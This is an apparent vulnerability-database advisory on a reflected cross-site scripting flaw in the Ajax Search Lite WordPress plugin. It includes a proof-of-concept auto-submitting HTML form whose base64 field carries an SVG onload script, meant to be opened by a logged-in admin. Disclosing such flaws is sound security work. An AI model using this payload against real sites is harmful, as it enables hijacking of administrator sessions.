Lucene search

K
wpexploitWpvulndbWPEX-ID:A9A54EE5-2B80-4F55-894C-1047030EEA7F
HistoryApr 03, 2023 - 12:00 a.m.

Ajax Search Lite < 4.11.1, Pro < 4.26.2 - Reflected Cross-Site Scripting

2023-04-0300:00:00
wpvulndb
95
ajax search lite
reflected cross-site scripting
logged in admin
admin page
code injection

EPSS

0.001

Percentile

31.0%

The plugin does not sanitise and escape a parameter before outputting it back in a response of an AJAX action, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="wd_search_cf"/>
        <input type="hidden" name="wd_phrase" value="1" />
        <input type="hidden" name="wd_args" value="eyJkZWxpbWl0ZXIiOiI8c3ZnL29ubG9hZD1hbGVydCgvWFNTLyk+In0=" />
        <input type="hidden" name="asl_cf_search_nonce" value="1">
        <input type="hidden" name="wd_required" value="1" />
    </form>
  </body>
</html>

EPSS

0.001

Percentile

31.0%

Related for WPEX-ID:A9A54EE5-2B80-4F55-894C-1047030EEA7F